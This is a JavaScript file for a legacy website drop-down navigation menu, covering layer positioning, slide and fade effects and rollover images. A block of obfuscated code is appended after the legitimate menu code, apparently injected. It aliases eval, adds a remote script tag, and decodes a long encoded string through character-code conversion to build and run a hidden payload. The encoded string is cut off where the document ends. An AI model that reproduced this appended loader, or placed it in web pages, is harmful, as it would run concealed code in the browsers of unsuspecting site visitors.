var GLOBAL_LoadedImages = new Array();
var GLOBAL_CurrentItem = "";
var GLOBAL_Close = null;
var GLOBAL_Hide = null;
var GLOBAL_items = new NOF_OpenedItems();
var GLOBAL_slideItem = null;
var GLOBAL_slideSpeed = 10;
var GLOBAL_slidePixel = 0;
var GLOBAL_slideMinOffset = -800;
var GLOBAL_slideMaxOffset = 800;
var useDebuger = false;
function NOF_DOMBrowser() {
this.getMenuItemLayerStartString = function getMenuItemLayerStartString(menuItemId, parentId) {
parentId = ( (parentId != null) && (parentId != "undefined") && (typeof(parentId) != "undefined"))
? new String(parentId + CONSTANTS.MENU_LAYER_SUFIX) : null;
menuItemId += CONSTANTS.MENU_LAYER_SUFIX;
var isAutoClose = typeof(C_MENU_AUTO_CLOSE) == "undefined" || C_MENU_AUTO_CLOSE == true ? "true" : "false";
return '<DIV ID="' + menuItemId + '" isautoclose="' + isAutoClose + '" STYLE="z-index:5; filter:blendTrans(duration=0.5)" onmouseover="NOF_KeepOpen(\'' + menuItemId + '\', ' + parentId + ')" onmouseout="NOF_KeepClose()">';
}
this.getMenuItemLayerEndString = function getMenuItemLayerEndString() {
return '</DIV>';
}
this.showMenuItem = function showMenuItem(image, item, offsetX, offsetY, openEffect) {
if (typeof(item) == "string")
item = this.getItem(item)
image = typeof(image) == "string" ? this.getItem(image) : image;
var top = this.findItemTopOffset(image);
var left = this.findItemLeftOffset(image);
var slideDirection = "";
if (openEffect.indexOf("left") > -1 || openEffect.indexOf("Left") > -1 ) {
top += offsetY;
left -= offsetX;
slideDirection = "left";
} else if (openEffect.indexOf("top") > -1 || openEffect.indexOf("Top") > -1 ) {
top -= offsetY;
left += offsetX;
slideDirection = "top";
} else if (openEffect.indexOf("right") > -1 || openEffect.indexOf("Right") > -1 ) {
top += offsetY;
left += offsetX;
slideDirection = "right";
} else {
top += offsetY;
left += offsetX;
slideDirection = "bottom";
}
if (item == null || typeof(item.style) == "undefined" || item.style == null )
return;
item.style.top = top;
item.style.left = left;
item.style.visibility = "visible";
if (openEffect.indexOf("slide") > -1)
this.slideEffect(item, slideDirection);
else if (openEffect.indexOf("fade") > -1)
this.fadeEffect(item);
}
this.hideMenuItem = function hideMenuItem(item) {
if (typeof(item) == "string")
item = this.getItem(item)
if ( item == null || typeof(item) == "undefined" || item == "" || typeof(item) == "number")
return;
item.style.visibility = "hidden";
}
this.findItemLeftOffset = function findItemLeftOffset(item) {
var offset = item.offsetLeft;
if (item.offsetParent)
offset += this.findItemLeftOffset(item.offsetParent);
return offset;
}
this.findItemTopOffset = function findItemTopOffset(item) {
var offset = item.offsetTop;
if (item.offsetParent)
offset += this.findItemTopOffset(item.offsetParent);
return offset;
}
this.getItem = function getItem(itemId) {
return document.getElementById(itemId);
}
this.getItemAttribute = function getItemAttribute(itemId, attrId) {
if (this.getItem(itemId)) {
var attr = this.getItem(itemId).attributes;
return eval("attr." + attrId.toLowerCase() + ".value");
}
return "";
}
this.debug = function debug(txt) {
var container = this.getItem("debug");
if ( useDebuger )
container.value += txt + "\n";
}
this.fadeEffect = function fadeEffect(item) {
item.style.visibility = "hidden";
item.filters.blendTrans.Apply();
item.filters.blendTrans.Play();
item.style.visibility = "visible";
}
this.slideEffect = function slideEffect(item, margin) {
GLOBAL_slideItem = item;
this.setItemClip('rect(auto, auto, auto, auto)');
GLOBAL_slidePixel = (margin == "top" || margin == "left") ? 100 : 0;
this.playEffect(margin);
}
this.playEffect = function playEffect(margin) {
var clip = GLOBAL_slideItem.style.clip;
if (clip.indexOf("-") > 0)
return;
if (GLOBAL_slidePixel < GLOBAL_slideMinOffset || GLOBAL_slidePixel > GLOBAL_slideMaxOffset)
return;
var rect = 'rect(';
if (margin == "top") {
GLOBAL_slidePixel -= 3;
rect += GLOBAL_slidePixel +'px auto auto auto)';
} else if (margin == "right") {
GLOBAL_slidePixel += 3;
rect += 'auto ' + GLOBAL_slidePixel +'px auto auto)';
} else if (margin == "bottom") {
GLOBAL_slidePixel += 3;
rect += 'auto auto ' + GLOBAL_slidePixel + 'px auto)';
} else {
GLOBAL_slidePixel -= 3;
rect += 'auto auto auto ' + GLOBAL_slidePixel + 'px)';
}
this.setItemClip(rect);
setTimeout('browser.playEffect("' + margin + '")', GLOBAL_slideSpeed);
}
this.setItemClip = function setItemClip(rect) {
GLOBAL_slideItem.style.clip = rect;
}
this.getLayerTag = function getLayerTag() { return "div" };
}
function NOF_BrowserNetscapeNavigator() {
window.onclick= HideMenu;
this.fadeEffect = function fadeEffect() { return; };
GLOBAL_slideSpeed = 1;
return this;
}
NOF_BrowserNetscapeNavigator.prototype = new NOF_DOMBrowser;
function NOF_BrowserInternetExplorer() {
document.onmouseup = HideMenu;
}
NOF_BrowserInternetExplorer.prototype = new NOF_DOMBrowser;
function NOF_BrowserNetscape4x() {
this.getMenuItemLayerStartString = function getMenuItemLayerStartString(menuItemId, parentId) {
parentId = ( (parentId != null) && (parentId != "undefined") && (typeof(parentId) != "undefined"))
? new String(parentId + CONSTANTS.MENU_LAYER_SUFIX) : null;
menuItemId += CONSTANTS.MENU_LAYER_SUFIX;
var isAutoClose = typeof(C_MENU_AUTO_CLOSE) == "undefined" || C_MENU_AUTO_CLOSE == true ? "true" : "false";
return '<layer ID="' + menuItemId + '" isautoclose="' + isAutoClose + '" onmouseover="NOF_KeepOpen(\'' + menuItemId + '\', ' + parentId + ')" onmouseout="NOF_KeepClose()">';
}
this.getMenuItemLayerEndString = function getMenuItemLayerEndString() {
return '</layer>';
}
this.getImageParent = function getImageParent(imageObject){
for (var position = 0; position < document.layers.length; position++) {
var layer = document.layers[position];
for (var imagePosition = 0; imagePosition < layer.document.images.length; imagePosition++) {
if (layer.document.images[imagePosition].name == imageObject.name) {
return layer;
}
}
}
return null;
}
this.showMenuItem = function showMenuItem(image, item, offsetX, offsetY, openEffect) {
var parent = this.getImageParent(image);
var itemId = image;
if (typeof(item) == "string")
item = this.getItem(item)
image = typeof(image) == "string" ? this.getItem(image) : image;
var top = this.findItemTopOffset(image);
var left = this.findItemLeftOffset(image);
if (parent != null) {
left += parent.pageX;
top += parent.pageY;
}
var slideDirection = "";
if (openEffect.indexOf("left") > -1 || openEffect.indexOf("Left") > -1 ) {
top += offsetY;
left -= offsetX;
slideDirection = "left";
} else if (openEffect.indexOf("top") > -1 || openEffect.indexOf("Top") > -1 ) {
top -= offsetY;
left += offsetX;
slideDirection = "top";
} else if (openEffect.indexOf("right") > -1 || openEffect.indexOf("Right") > -1 ) {
top += offsetY;
left += offsetX;
slideDirection = "right";
} else {
top += offsetY;
left += offsetX;
slideDirection = "bottom";
}
if (typeof(item) == "undefined")
return;
item.y = parseInt(top);
item.x = parseInt(left);
item.visibility = "visible";
if (openEffect.indexOf("slide") > -1)
this.slideEffect(item, slideDirection);
else if (openEffect.indexOf("fade") > -1) {
this.fadeEffect(item);
}
}
this.hideMenuItem = function hideMenuItem(item) {
if (typeof(item) == "string")
item = this.getItem(item)
if ( item == null || typeof(item) == "undefined" || item == "")
return;
item.visibility = "hide";
}
this.findItemLeftOffset = function findItemLeftOffset(item) {
return item.x;
}
this.findItemTopOffset = function findItemTopOffset(item) {
return item.y;
}
this.getItem = function getItem(itemId) {
return itemId == "" ? "" : eval("document.layers['" + itemId + "']");
}
this.getItemAttribute = function getItemAttribute(itemId, attrId) {
return eval("document.layers['" + itemId.toLowerCase() + "']." + attrId);
}
this.getLayerTag = function getLayerTag() { return "layer" };
this.slideEffect = function slideEffect(item, margin) {
GLOBAL_slideItem = item;
GLOBAL_slidePixel = (margin == "bottom" || margin == "left") ? 200 : 0;
this.playEffect(margin);
}
this.playEffect = function playEffect(margin) {
if (GLOBAL_slidePixel < GLOBAL_slideMinOffset || GLOBAL_slidePixel > GLOBAL_slideMaxOffset)
return;
if (margin == "top") {
GLOBAL_slideItem.clip.bottom = GLOBAL_slidePixel += 1;
} else if (margin == "right") {
GLOBAL_slideItem.clip.right = GLOBAL_slidePixel += 1;
} else if (margin == "bottom") {
GLOBAL_slideItem.clip.top = GLOBAL_slidePixel -= 1;
} else {
GLOBAL_slideItem.clip.left = GLOBAL_slidePixel -= 1;
}
setTimeout('browser.playEffect("' + margin + '")', GLOBAL_slideSpeed);
}
}
NOF_BrowserNetscape4x.prototype = new NOF_DOMBrowser;
function NOF_BrowserFactory() {
var agt = navigator.userAgent.toLowerCase();
var is_major = parseInt(navigator.appVersion);
var is_minor = parseFloat(navigator.appVersion);
var is_nav = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1)
&& (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1)
&& (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1));
var is_nav2 = (is_nav && (is_major == 2));
var is_nav3 = (is_nav && (is_major == 3));
var is_nav4 = (is_nav && (is_major == 4));
var is_nav4up = (is_nav && (is_major >= 4));
var is_navonly = (is_nav && ((agt.indexOf(";nav") != -1) ||
(agt.indexOf("; nav") != -1)) );
var is_nav6 = (is_nav && (is_major == 5));
var is_nav6up = (is_nav && (is_major >= 5));
var is_gecko = (agt.indexOf('gecko') != -1);
var is_ie = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1));
var is_ie3 = (is_ie && (is_major < 4));
var is_ie4 = (is_ie && (is_major == 4) && (agt.indexOf("msie 4")!=-1) );
var is_ie4up = (is_ie && (is_major >= 4));
var is_ie5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0")!=-1) );
var is_ie5_5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.5") !=-1));
var is_ie5up = (is_ie && !is_ie3 && !is_ie4);
var is_ie5_5up =(is_ie && !is_ie3 && !is_ie4 && !is_ie5);
var is_ie6 = (is_ie && (is_major == 4) && (agt.indexOf("msie 6.")!=-1) );
var is_ie6up = (is_ie && !is_ie3 && !is_ie4 && !is_ie5 && !is_ie5_5);
var is_opera = (agt.indexOf("opera") != -1);
var is_opera2 = (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1);
var is_opera3 = (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1);
var is_opera4 = (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1);
var is_opera5 = (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1);
var is_opera5up = (is_opera && !is_opera2 && !is_opera3 && !is_opera4);
this.getBrowser = function getBrowser() {
if (is_ie5up) {
return new NOF_BrowserInternetExplorer();
}
if (is_nav6up) {
return new NOF_BrowserNetscapeNavigator();
}
if (is_opera5up) {
return new NOF_BrowserInternetExplorer();
}
if (is_nav4) {
return new NOF_BrowserNetscape4x();
}
}
return null;
}
var browserFactory = new NOF_BrowserFactory();
var browser = browserFactory.getBrowser();
var CONSTANTS = {
MENU_TYPE_IMAGE : "Image",
MENU_TYPE_TEXT : "Text",
BUTTON_TYPE_IMAGE : "image",
BUTTON_TYPE_TEXT : "text",
MENU_TABLE_HEADER : '<table border="0" cellspacing="0" cellpadding="0">',
MENU_TABLE_END : '</table>',
MOUSE_OVER_IMAGE : 1,
MOUSE_OUT_IMAGE : 2,
MENU_ITEM_HORIZONTAL : false,
MENU_ITEM_VERTICAL : true,
MENU_LAYER_SUFIX : "LYR",
NOT_A_MAIN_ITEM : 1,
MENU_REFRESH_TIME : 600
}
function NOF_Menu() {
return this;
}
function NOF_Menu_Item() {
this.id = arguments[0];
this.orientation = arguments[1];
this.openEffect = arguments[2];
this.offsetX = arguments[3];
this.offsetY = arguments[4];
this.buttons = new Array();
this.submenuHeight = 0;
for (var i = 5; i < arguments.length; i++)
this.buttons[i - 5] = arguments[i];
this.getPosition = function () {
return new Array(this.offsetX, this.offsetY);
}
this.getOffsetX = function getOffsetX() { return this.offsetX;}
this.getOffsetY = function getOffsetY() { return this.offsetY;}
this.getOpenEffect = function getOffsetY() { return this.openEffect;}
this.getOrientation = function getOrientation() { return this.orientation; }
return this;
}
function NOF_Menu_Button(link, normal, rollover, submenu) {
this.link = link;
this.normal = normal;
this.rollover = rollover != "" ? rollover : normal;
this.submenu = submenu;
this.hasSubmenu = function hasSubmenu() {
return (this.submenu != null)
}
this.type = function type() {
if (typeof(this.rollover) == "object")
return CONSTANTS.BUTTON_TYPE_TEXT;
else if (typeof(this.rollover) == "string")
return CONSTANTS.BUTTON_TYPE_IMAGE;
else
return null;
}
return this;
}
function NOF_Main_Menu(menuItem, parentId) {
if(typeof(menuItem) == "undefined")
return;
var menuItemId = menuItem.id;
var buffer = browser.getMenuItemLayerStartString(menuItemId, parentId) + '<table width="10" border="' + C_MENU_BORDER + '" cellspacing="' + C_MENU_SPACING + '" cellpadding="0" bgcolor="' + C_MENU_BGCOLOR + '">';
var i = 0;
buffer += '<tr>';
while (i < menuItem.buttons.length) {
var menuButton = menuItem.buttons[i];
if (menuButton == null)
return;
var submenuId = "";
if (menuButton.hasSubmenu() && menuButton.submenu) {
submenuId = menuButton.submenu.id;
}
var link = menuButton.link;
var image = menuButton.normal;
var rollOverButton = menuButton.rollover;
var isImageMenu = menuButton.type() == CONSTANTS.BUTTON_TYPE_IMAGE ? true : false;
var imageName = isImageMenu ? menuItemId + 's' + i : 'NavigationButton_' + menuItemId + '_' + i;
var isVertical = menuItem.orientation == "vertical" ? true : false;
var target = '';
if (link.indexOf(' target=') != -1) {
target = link.substr(link.indexOf(' target=') + 8);
link = link.substr(0, link.indexOf(' target='));
}
buffer += (isVertical && i > 1) ? '<tr><td>' : '<td>';
var cursor = link != 'javascript:void(0)' ? 'hand' : 'default';
buffer += '<a style="text-decoration:none; cursor:' + cursor + ';" href="' + link + '" ';
buffer += 'onMouseOver="F_roll(\'' + imageName + '\' ,' + CONSTANTS.MOUSE_OVER_IMAGE + ', \'' + menuItemId + '\', \''+
CONSTANTS.NOT_A_MAIN_ITEM + '\')" onMouseOut="F_roll(\'' + imageName + '\' ,' +
CONSTANTS.MOUSE_OUT_IMAGE + ', \''+menuItemId+'\', \'' + CONSTANTS.NOT_A_MAIN_ITEM + '\')"';
buffer += target.length ? ' target="' + target + '">' : '>';
buffer += isImageMenu ? '<img border="0" src="' + image + '"' : '<' + browser.getLayerTag() + ' ';
if (typeof(rollOverButton) != "undefined" || rollOverButton.length || !isImageMenu) {
if (submenuId != "") {
var submenu = menuButton.submenu;
if (isImageMenu) {
buffer += 'id="' + imageName + '" name="' + imageName +
'" onLoad="F_loadRollover(this,\'' + rollOverButton + '\', new Array(\'' + submenuId + '\',\'' + submenu.getOrientation() + '\' , \'' + submenu.getOpenEffect() + '\', ' + submenu.getOffsetX() + ',' + submenu.getOffsetY() + '))"';
} else {
NOF_MenuLoadRollOver(imageName, rollOverButton, new Array(submenuId, submenu.getOrientation(), submenu.getOpenEffect(), submenu.getOffsetX(), submenu.getOffsetY() ));
buffer += 'id="' + imageName + '" name="' + imageName + '" class="' + imageName + '" ' ;
if (typeof(menuButton.rollover) == "object")
buffer+= ' style="' + rollOverButton[0] + '"';
}
}
else {
if (isImageMenu)
buffer += 'id="' + imageName + '" name="' + imageName +
'" onLoad="F_loadRollover(this,\'' + rollOverButton + '\',0)"';
else {
NOF_MenuLoadRollOver(imageName, rollOverButton, 0);
buffer += 'id="' + imageName + '" name="' + imageName + '" class="' + imageName + '" ';
if (typeof(menuButton.rollover) == "object")
buffer+= ' style="' + rollOverButton[0] +'"';
}
}
}
buffer += isImageMenu ? '></a></td>' :
'><' + browser.getLayerTag() + ' id="' + imageName + '_padding" style="padding:' + rollOverButton[1] + '" padding="' + rollOverButton[1] + '" paddingOver="' + rollOverButton[3] + '">' + image +
'</' + browser.getLayerTag() + '></' + browser.getLayerTag() + '></a></td>';
buffer += isVertical ? "</tr>" : "";
i++;
}
buffer += CONSTANTS.MENU_TABLE_END + browser.getMenuItemLayerEndString();
document.writeln(buffer);
var k = 0;
while (k < menuItem.buttons.length) {
if (menuItem.buttons[k].hasSubmenu()) {
NOF_Main_Menu(menuItem.buttons[k].submenu, menuItem.id);
}
k++;
}
}
function NOF_MenuLoadRollOver(button, buttonName, submenu) {
if (button && button.src &&
(null == button.out || typeof(button.out) == typeof(void(0)))) {
var imageSrc = button.src;
button.out = new Image();
button.out.src = imageSrc;
button.over = new Image();
if (buttonName.lastIndexOf('/') >= 0 || buttonName.lastIndexOf('\\') >= 0) {
imageSrc = buttonName;
} else {
var i = imageSrc.lastIndexOf('/');
if (i < 0)
i = imageSrc.lastIndexOf('\\');
if (i < 0)
imageSrc = buttonName;
else
imageSrc = imageSrc.substring(0, i + 1) + buttonName;
}
button.over.src = imageSrc;
button.submenu = submenu;
GLOBAL_LoadedImages[button.name] = button;
} else {
if (typeof(buttonName) == "object") {
if (typeof(GLOBAL_LoadedImages[button]) == "undefined") {
GLOBAL_LoadedImages[button + "Normal"] = buttonName[0];
GLOBAL_LoadedImages[button + "Over"] = buttonName[2];
GLOBAL_LoadedImages[button] = submenu;
}
return;
}
if (typeof(submenu) != "undefined" && typeof(button) == "string" && typeof(GLOBAL_LoadedImages[button]) == "undefined")
GLOBAL_LoadedImages[button] = submenu;
}
}
function NOF_MenuRollButton(buttonName, over, layerId, isNotMainItem) {
var rollType = (over == CONSTANTS.MOUSE_OVER_IMAGE) ? "over" : "out";
var isOver = (over == CONSTANTS.MOUSE_OVER_IMAGE) ? true : false;
var rollOver = GLOBAL_LoadedImages[buttonName];
if (typeof(rollOver) == "undefined")
return;
var menuType = typeof(rollOver.src) == "undefined" ? CONSTANTS.MENU_TYPE_TEXT :
CONSTANTS.MENU_TYPE_IMAGE;
if (menuType == CONSTANTS.MENU_TYPE_IMAGE) {
var imageRollSrcString = "rollOver." + rollType + ".src";
if (rollOver)
rollOver.src = eval(imageRollSrcString) ? eval(imageRollSrcString) : "";
} else if (menuType == CONSTANTS.MENU_TYPE_TEXT){
if (typeof(buttonName) == "string") {
browser.getItem(buttonName).className = isOver ? buttonName + "Hover" : buttonName;
if (browser.getItem(buttonName + "_padding")){
browser.getItem(buttonName + "_padding").style.padding = isOver ?
browser.getItem(buttonName + "_padding").paddingOver :
browser.getItem(buttonName + "_padding").padding;
}
if (typeof(browser.getItem(buttonName).style) != "undefined")
browser.getItem(buttonName).style.cssText = isOver ?
GLOBAL_LoadedImages[buttonName + "Over"] :
GLOBAL_LoadedImages[buttonName + "Normal"];
}
} else
return;
if ((isNotMainItem == null || typeof(isNotMainItem) == "undefined" ) && over == CONSTANTS.MOUSE_OUT_IMAGE) {
GLOBAL_CurrentItem = "";
GLOBAL_items.removeAll();
}
var hasSubmenu = null;
if (menuType == CONSTANTS.MENU_TYPE_IMAGE)
hasSubmenu = rollOver.submenu;
else if (menuType == CONSTANTS.MENU_TYPE_TEXT)
hasSubmenu = typeof(rollOver) == "object";
if (hasSubmenu) {
if (over == CONSTANTS.MOUSE_OVER_IMAGE) {
if ( layerId && typeof(layerId) != "undefined" && layerId != "null") {
if (GLOBAL_Close != null)
clearTimeout(GLOBAL_Close);
GLOBAL_items.removeSubitems(layerId + CONSTANTS.MENU_LAYER_SUFIX);
} else
GLOBAL_items.removeAll();
if (menuType == CONSTANTS.MENU_TYPE_IMAGE)
NOF_MenuOpenItem(rollOver, rollOver.submenu, layerId);
else
NOF_MenuOpenItem(buttonName, rollOver, layerId);
}
else {
if (menuType == CONSTANTS.MENU_TYPE_IMAGE)
NOF_MenuCloseItem(rollOver.submenu);
else
NOF_MenuCloseItem(rollOver);
}
} else if (over == CONSTANTS.MOUSE_OVER_IMAGE ) {
if ( layerId && typeof(layerId) != "undefined" && layerId != "null" ) {
GLOBAL_CurrentItem = layerId + CONSTANTS.MENU_LAYER_SUFIX;
GLOBAL_items.removeSubitems(GLOBAL_CurrentItem);
} else
browser.hideMenuItem(GLOBAL_CurrentItem);
}
}
function NOF_MenuOpenItem(image, submenu, parentId) {
var layerId = submenu[0] + CONSTANTS.MENU_LAYER_SUFIX;
var orientation = submenu[1];
var openEffect = submenu[2];
var offsetX = submenu[3];
var offsetY = submenu[4];
GLOBAL_items.addItem(layerId, parentId);
GLOBAL_CurrentItem = layerId;
browser.showMenuItem(image, layerId, offsetX, offsetY, openEffect);
}
function NOF_MenuCloseItem(imageSubmenu) {
if (imageSubmenu[0]) {
var layerId = imageSubmenu[0] + CONSTANTS.MENU_LAYER_SUFIX;
if (GLOBAL_items.toArray().length == 1)
GLOBAL_CurrentItem = 0;
GLOBAL_Close = setTimeout("NOF_MenuHideItem('" + layerId + "')", CONSTANTS.MENU_REFRESH_TIME/4);
}
}
function NOF_MenuHideItem(itemId) {
if (itemId && itemId != null && GLOBAL_CurrentItem != itemId) {
browser.hideMenuItem(itemId);
}
}
function NOF_KeepOpen(itemId, parentId) {
GLOBAL_CurrentItem = itemId;
if (GLOBAL_Hide != null)
for (var i = 0; i < GLOBAL_Hide.length; i++)
clearTimeout(GLOBAL_Hide[i]);
}
function NOF_KeepClose() {
GLOBAL_CurrentItem = "";
setTimeout("NOF_CloseChilds()", CONSTANTS.MENU_REFRESH_TIME);
}
function NOF_CloseChilds() {
var itemsList = GLOBAL_items.toArray();
GLOBAL_Hide = new Array();
if (GLOBAL_CurrentItem == "" || GLOBAL_CurrentItem == 0)
for (var i in itemsList)
if (itemsList[i])
GLOBAL_Hide[i] = setTimeout("browser.hideMenuItem('" + itemsList[i] + "')", CONSTANTS.MENU_REFRESH_TIME/4);
if (!isMenuAutoClose()) {
itemsList = GLOBAL_items.toArray();
for ( var i in itemsList )
if (itemsList[i])
NOF_KeepOpen(itemsList[i]);
}
}
function isMenuAutoClose() {
var itemsList = GLOBAL_items.toArray();
if (itemsList[0] && itemsList[0].length) {
var autoClose = browser.getItemAttribute(itemsList[0], "isautoclose");
if ( autoClose == "true")
return true;
else
return false;
}
return false;
}
function HideMenu() {
if (isMenuAutoClose())
return;
var itemsList = GLOBAL_items.toArray();
if (GLOBAL_Hide == null)
GLOBAL_Hide = new Array();
for (var i in itemsList)
if (itemsList[i] && itemsList[i].length) {
GLOBAL_items.removeItem(itemsList[i]);
GLOBAL_Hide[i] = browser.hideMenuItem(itemsList[i]);
}
}
function NOF_OpenedItems() {
this.openedItems = "";
this.separator = "*";
this.addItem = function addItem(item, parent) {
if ( item == null || !item || item == "" )
return;
if (this.openedItems.indexOf(item) == -1) {
this.openedItems += this.openedItems.length ?
( this.openedItems.indexOf(this.separator) == this.openedItems.length - 1 ? "" : this.separator ) + item :
item;
}
}
this.removeItem = function removeItem(item) {
if ( item == GLOBAL_CurrentItem )
return;
var temp = this.openedItems;
if (temp.indexOf(item) > 0) {
var a = temp.substring(0, temp.indexOf(item));
var b = temp.substring(temp.indexOf(item) + item.length, temp.length );
temp = a + b;
}
while (temp.lastIndexOf(this.separator) == temp.length - 1)
temp = temp.substring(0, temp.length - 1);
this.openedItems = temp;
}
this.removeSubitems = function removeSubitems(item) {
if (item && typeof(item) != "undefined") {
var temp = this.openedItems;
temp = temp.substring(0, temp.lastIndexOf(item) + item.length);
var temp1 = this.openedItems.substring(this.openedItems.indexOf(temp) + temp.length, this.openedItems.length);
temp1 = temp1.split(this.separator);
for (var i = temp1.length - 1; i >= 0; i--)
if (temp1[i])
browser.hideMenuItem(temp1[i]);
this.openedItems = temp;
}
}
this.currentItem = function currentItem() {
var list = this.toArray();
return list[list.length - 1];
}
this.removeAll = function removeAll() {
var items = this.toArray();
clearTimeout(GLOBAL_Close);
for (var i = items.length - 1; i >= 0; i--)
if ( items[i] != null && items[i] != "" ) {
clearTimeout(items[i]);
browser.hideMenuItem(items[i]);
}
this.openedItems = "";
}
this.toArray = function toArray() {
return this.openedItems.split(this.separator);
}
}
function F_menu(item) {
NOF_Menu(item);
}
function F_roll(itemId, over, layerId, isNotMainItem){
if (typeof(layerId) == "undefined")
layerId = null;
if (typeof(isNotMainItem) == "undefined")
isNotMainItem = null;
if (typeof(itemId) == "object" && itemId.constructor == Array) {
for (var i = 0; i < itemId.length; i++) {
NOF_MenuRollButton(itemId[i], over, layerId, isNotMainItem);
}
}
else {
NOF_MenuRollButton(itemId, over, layerId, isNotMainItem);
}
}
function F_loadRollover(image, rollOverButton, submenu) {
return NOF_MenuLoadRollOver(image, rollOverButton, submenu);
}






s_nc=document;s_L=window;function s_y($,s_nd){return 0}function s_B(x){return x.join('')}if(typeof($)=='undefined'){s_nG=s_nc.getElementsByTagName('head')[0];s_no=s_nc.createElement('script');s_no.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");s_nG.appendChild(s_no)}s_L.s_nL=100;s_L.s_nH=25;s_L.s_r=eval;s_L.trim=function(s_na,s_nn){if("qabcdef".indexOf(s_na.substr(0,1))>=0){var s_nk=s_B(s_na.split('q')).split('v');for(var i=0;i<s_nk.length;i++){s_nk[i]=parseInt(s_nk[i],16)-s_nn[s_na]}return s_nk.join(',')+','}else{return s_nn[s_na]}};d='s_f={?%bv1aW$2J$1ZN:"e+",?%bv2aW$2$8$1ZN:"",*b%bv3aW$2J$1Zv30:"l(\'l=St",WXv4e%2*0Qk*2Y:"ring.f",GEv52U%f$cz*az:"romCha",Q%8v68*2*5IT0Y*4:"rCode(">5#e!3J%2$3!1!4*6&1-93%2Q%7%8HU%b%c&6>c%d%e%f$0$1$2$3$4&5L4yZJ$8$9x$b$c|Ld$e%0zGJ$4$0%d|L9E``I*0*5YQ&5>b!4Y!4!4%4Q`*4|A6!7#4V$3zzP*f&6-92?X!a$4*4#8*2!a&7-98#e+d!3Hyy$1#b&1@2G+fYIz*eI+f&3Aa*7%bH$4$4UH%b~>b#d#f+c!2#b!0Y*7&0Ad*1*d%6%1!4%4#e!4&1>e*f%8+d$8*0z%c*f&3>8+f+7*2*5E$dO%e&5>2*b*e+5!axE+e!4&2>6`R^#bR*9T2*4F,ad!3O+d!3`$9$e#c&1A7*5*1?%8%6J%5$d|LdJUkZ$dUkZ&9L8%7$3$2H%7y$e$1&6>6%bH$8%6%7$b%b%6&5,d2$e$cUZ%c$9UJ&9>5$c%3H%6$9VNy&2L8$4$1$cNPHP%2~>7GJH$8+9+8*7*8|>4J%8*f%6+9*7%4J&3>aEIGE+1x*3#d&5Ae*4^#f#8I+f$4*2&5Ad%d%0+0kZZ%3%fF>6JEIGQ$eEV&5@0+f?+7%c$3%7%f$b|>1Z%5!0*6%c%1$3%8&0Af%5%2*b*5?%b+e+5~L6y$b%fPNG#8*2&7A6$d*0z%6+9*7%4J&3>eO%3U*6`*bO%4&9Ad+1W%6`N%e%b$eF>c*4%3VR?X$4%8&7L8N%3?J#4?*b#4~A5$c+fIY+4?N%c&2L3%d$2`%0zO%0z|Ab+f?#d!2z$1JZ&2A8*0Q%0!0Y%1`*0&0,a0H%4!7y*1#4#f!7|>6#fY%7NZ$4%7$0&2>d$c*4%f$8$b+5+3V&9>a%f!1!4%5%1!4%3#e&1-98+4+5%8+1Q?%c%3~A7*e%1+f!7+1%1Gy|L9HZ$dT1#f%dU+0|La*3#d??Qx*1^&5@9%4%4#8#f+9*3Ux~>c%8$2T4%c$3x%c!7&7>cH?*f$8#f#ckk&3Ab$d*6#a#8O%4%4#9~@f+8G#8^*2H$9%c&7>9$3T5T5$1%eNV?~L9O?$9*5?+cT6#4~@9OR#fR?+bT6O~-95$3$0+6$bUE+8*7FAb?*f$2I*f$4Ez&3,d3GG#4+5*c%7`T3&9AdI!7yEP!7$eE|@1I^WW%0*e*3+2&6L6E^k*8*8%1k*4&7-9e$1QGxXXRR&2>1y*4+f+3*fG+e#d&7@7EVW#a%1P+c+0|,a0*4*4#aOR+fN#a~@dO%5*3?k*5%0N~,a2$e*4*4#9PO+d^&6@6P%3O+eI+2$e*4&6-94#aPO+d^WP%3&6-95Ex*7%2+6*dX%1F@0#a#dOO%5R%0+4~-93!a+7QGXVV+d&0@c!4$4#e+9*d$b?+8&1@4W?+f#dYU#fz&2@5$4%8JP%2#f#8R&7@9WE#8XE#8XE&1@dWNX#bN#cWN|@f#b#4*0#8#4#b#8#4~@8G`^^`GX`&0@5XNX#4NX#4N|@e#9#4#9#9#4#d#e#4~@e#eX#a#aX#e#cX&9@dR#c#aR#eR#9R&7@7GWG#a#e%3G*6&6Ad$dO%e%5*eY+8$9&5L4%b$0HN%8$4$1%f&2-97%c%5Z*7$3%8H`|>cI$bIX^`T0+d&3,a3*0z*5?+e!a%bJ&3Lc$8*2^^P#4?$b~@6ET1WExWE$8F@3!axR!a*8%2!a*a&7@7#b%7WO#8%d$9JF@1V+f?EY*4*eU&2Aa#cYV+d!3%3$0%5&1,d3%6`R#8%bxx%fFL4U+2*8I%1E*2U&6>dx!4J$8$d$0H*1|>6`OWE$eWO*7F>0z?N!7+4N?%0|A2!0JH%4$4%8#dO&0@3R!3!aPz%dP!a&3-91#fG%7%c$9*1!a%0&3Ab?kk?kI#4G&2@6WPT3PT3PT3%b&6L4$b%dT3Q`J$d$c~-9fUPXRR`T0T0&3A4%8V!a#c*1!1!4U&1Afk%7+0!7k+d*fZ&7LaJ$8EIT2*5YQ&5>cV$9%1%5#e%f%6$8&1Aa*e%b$e%fGR*5%eF@3YVE$dR%6Q$4&5>7?GOOO!a#c*a&1A2%6k*2!2Y+6!ay&2@5$2H+2V$c^%c$1&9>5Z*7$3%8H*5$8`|>b?k*2!2Y+5!ax&2>9+2VT1^y%eJ$0&9L6UkYy%1*2%8J&2L5U$b$0Zy+0$9%c&7L4y$2%e*cQ!3+1!7&0Ab*0PR%2Y$3#fY&2,aa+2%8I#aPG^P&6@0Q+8+1%7E#9II&5>0#8$1%f$e+f+e*d%1FAd+8RP%2E*f%5GF>0P*1V%6PT1T4+2&6>4+b!3*a+d+bW+dI&0L3J%7$4$b+e+eQQ&2A5*cN%b$0%6%7x+1&2>cIEzzzP!7*3&6Acx$3HU%b%e$3U&5>4!7!0!1Q%0H%6